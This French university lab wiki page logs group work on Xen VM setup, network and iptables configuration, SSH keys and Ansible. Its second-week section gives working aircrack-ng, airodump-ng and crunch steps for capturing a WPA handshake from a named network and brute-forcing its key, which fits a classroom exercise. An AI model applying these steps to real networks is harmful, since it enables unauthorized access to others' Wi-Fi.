TP sysres IMA5sc 2019/2020 G2

De Wiki d'activités IMA
Révision datée du 16 décembre 2019 à 12:55 par Lmejbar (discussion | contributions) (Semaine 4 : ASR)


Présentation générale

Travaux pratiques protocoles avancés Le sujet du TP se trouve à cette adresse

Réalisation du TP

Semaine 1

Création d'une machine virtuelle

Nous avons acheté notre domaine : mycoplasma.site sur le site gandi.

Ensuite il faut se connecter en shh à Cordouan:

ssh root@cordouan.insecserv.deule.net

Puis créer notre machine virtuelle :

xen-create-image --hostname=mycoplasma --dhcp --dir=/usr/local/xen --dist=buster
xl create mycoplasma.cfg

Semaine 2

Cracker le wifi (WPA)

Il faut lancer la commande ip a : récupérer le nom de l'interface wifi : ""wlx40a5ef0f6518"". Il faut le lancer avec la commande :

airmon-ng start wlx40a5ef0f6518

Il faut ensuite écouter le réseau, on récupère alors le channel(2), le nom du wifi, le BSSID (04:DA:D2:9C:5O:5A) avec la commande suivante:

airodump-ng --encrypt wpa wlan0mon

Nous avons choisi de cracker "kracote03"

airodump-ng wlan0mon --bssid 04:DA:D2:9C:5O:5A --ch 2 -w capture

Il faut l'arreter une fois qu'on obtient un handshake

G2 WPA.png

Pour générer un dictionnaire, on a besoin de la commande suivante :

sudo apt-get update
sudo apt-get install crunch
crunch 8 8 -o dico.txt 0123456789
  • 8 8 : donne des codes de 8 caractères au minimum et au maximum

On lance cette commande :

airodump-ng -c 2 --bssid 04:DA:D2:9C:5O:5A -w ./home/pifou/crack wlx40a5ef0f6518

Voici une capture de la commande :

aircrack crack/capture.cap -w dico.txt 

G2 catch.png

On remarque ce la photo ci dessus que la commande a pris 21 min et 42 sec.

Semaine 3 :

Une fois la VM créée (semaine 1), il faut installer les packages, donc il faut lui donner l'accès à internet. Il faut modifier le fichier suivant etc/network/interfaces. Pour enregistrer les modifications, il faut exécuter les commandes: if down eth0, ifup eth0.

auto eth0
iface eth0 inet static
 address 193.48.57.178
 netmask 255.255.255.240


Pour le moment, pour se connecter à la Machine virtuelle, on utilise la commande suivante:

xl console mycoplasma

Mais il y a une seconde façon d'accéder à notre VM: en utilisant SHH, pour le faire il faut remplacer la ligne suivante " #PermitRootLogin prohibit-password" par " PermitRootLogin yes" de ce fichier etc/ssh/sshd_config.

Semaine 4 : ASR

Nouvelle VM

L'objectif de ces 12 heures est de créer une nouvelle Machine virtuelle qui serait cette fois-ci privée, elle va permettre d'héberger un serveur Web.

Pour la créer :

xen-create-image --hostname=private-mycoplasma --ip=ip 192.168.0.2 --dir=/usr/local/xen
xl create private-mlycoplasma.cfg

Généralement lorsque les export ne sont pas configurés, la création reste bloquée. Il faut exécuter les commande suivante:

export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128 

et suivre la suite de la création avec le fichier de log:

tail -f /var/log/xen-tools/private-mycoplasma.log


Voici notre nouvelle structure :

G2 Structure.png

Pour y arriver, il faut modifier les fichiers /etc/network/interfaces des deux machines virtuelles avec les adresses, Gateway, et netmask marque sur la photo ci-dessus. Et valider les modifications avec les commandes habituelles : ifdown ethi et ifup ethi

Mascarade

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward
apt install iptables-persistent

Il faut ensuite décommenter

net.ipv4.ipforward=1

Ansible

Ansible permet l'automatisation par connexion sans mot de passe. Il faut d'abord générer une clef asymétrique :

ssh-keygen -t rsa

Installation de la clef publique sur les machines virtuelles 192.168.0.1 à 192.168.0.6  :

cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

Il faut installer Ansible :

apt install ansible

Hosts

Ensuite il faut rédiger l'inventaire ( /etc/ansible/hosts ) c'est un fichier yaml, il faut très attention à la syntaxe. Ce fichier regroupe le parc informatique :

all:
hosts:
 interne:
   ansible_host: 192.168.0.2
children:
 serveur-web:
  hosts:
   192.168.0.[1:6]

Playbooks

Maintenant qu'on a défini toutes les machines dans notre parc et qu'on peut se connecter automatique, on peut exécuter une commande à distance sur tout le parc à l'aide d'Ansible. Un "playbook" c'est une liste des tâches à effectuer sur ces machines.


Semaine 5 : PRA